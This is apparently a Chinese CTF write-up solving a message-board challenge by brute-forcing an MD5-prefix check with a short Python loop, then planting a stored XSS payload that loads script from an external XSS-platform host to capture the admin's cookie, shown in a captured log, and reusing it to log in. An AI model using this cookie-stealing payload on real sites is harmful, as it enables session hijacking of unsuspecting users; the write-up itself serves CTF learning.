原理:
跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数。
题目:
Leave a message:( )
substr(md5(‘ ‘),0,6) === ‘51a081’
考察点:
1.XSS攻击获取cookie
2.md5截断绕过
知识点:
实例
从字符串中返回 “world”:
<?php
echo substr("Hello world",6);
?>
语法:substr(string,start,length)
start 必需。规定在字符串的何处开始。 正数 - 在字符串的指定位置开始 负数 - 在从字符串结尾的指定位置开始 0 - 在字符串中的第一个字符处开始 length 可选。规定要返回的字符串长度。默认是直到字符串的结尾。 正数 - 从 start 参数所在的位置返回 负数 - 从字符串末端返回
解题过程:
1. 首先分析页面代码,发现留言框里面可能出现xss漏洞,然后我发现要想成功插入留言内容,必须需要满足substr(md5(' '),0,6) === '51a081'
的条件,此条代码的含义是括号中的字符串的md5值前六位为51a081
,可以通过python脚本进行字典爆破。
import hashlib
for i in range (100000000):
a=str(i)
md5=hashlib.md5(a.encode('utf-8')).hexdigest()
if md5[0:6]=='51a081':
break
print (a)
得到结果:252192
2. 允许插入的条件满足了,然后就是利用XSS平台进行获取cookie
。先在XSS平台,创建项目,选取默认设置即可。然后将项目后的XSS代码,<sCRiPt/SrC=//xsshs.cn/PArz>
插入留言框,等待几分钟,发现XSS平台已经得到了管理员的cookie
。
location : http://web/usermessages/1584098792-443ed1dd377f4a44f536c2830eb8f606.html toplocation : http://web/usermessages/1584098792-443ed1dd377f4a44f536c2830eb8f606.html cookie : token=a9011a0e551f181c1c526881befac44d opener :
3. 将cookie复制下来,用菜刀进行登录admin.php界面,拿到flag!